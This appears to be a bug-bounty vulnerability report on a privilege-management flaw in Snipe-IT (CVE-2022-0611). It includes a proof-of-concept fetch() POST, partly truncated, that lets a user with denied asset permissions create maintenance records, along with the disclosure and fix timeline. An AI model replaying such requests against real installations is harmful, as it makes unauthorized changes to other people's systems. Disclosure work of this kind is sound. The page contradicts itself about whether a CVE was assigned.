Improper Privilege Management in snipe/snipe-it

0

Valid Reported on Feb 10th 2022

Description

Unprivilege user can create maintainance for asset

Proof of Concept

1. Create regular user and set DENY to all permissions in asset models.
2. Login as the user and sent bellow request to create maintainance for asset

```
await fetch("https://demo.snipeitapp.com/hardware/maintenances", {
    "credentials": "include",
    "headers": {
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gec
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,im
        "Accept-Language": "en-US,en;q=0.5",
        "Content-Type": "application/x-www-form-urlencoded",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1"
    },
    "referrer": "https://demo.snipeitapp.com/hardware/maintenances/create?a
    "body": "_token=Pvc8rsrc7DcKDjEtD6wtmstrGJfc74utYKkVfAh7&asset_id=310&s
    "method": "POST",
    "mode": "cors"
});
```

Impact

unprivileged user can create maintainance for any asset

Occurrences

AssetModelsController.php L20-L480

AssetMaintenancesController.php L6-L307

CVE
CVE-2022-0611
(Published)

Vulnerability Type
CWE-269: Improper Privilege Management

Severity
Medium (6.3)

Visibility
Public

Status
Fixed

Found by

ranjit-git
@ranjit-git
amateur

Fixed by

snipe
@snipe
maintainer

This report was seen 449 times.

We are processing your report and will contact the **snipe/snipe-it** team wit
10 months ago

We have contacted a member of the **snipe/snipe-it** team and are waiting to hear back
10 months ago

We have sent a follow up to the **snipe/snipe-it** team. We will try again in 7 days. 9 months ago

snipe 9 months ago Maintainer

"Create regular user and set DENY to all permissions in asset models."

Assets or asset models?

snipe validated this vulnerability 9 months ago

ranjit-git has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

snipe marked this as fixed in **5.3.11** with commit **321be4** 9 months ago

snipe has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

AssetMaintenancesController.php#L6-L307 has been validated ✔

AssetModelsController.php#L20-L480 has been validated ✔

Sign in to join this conversation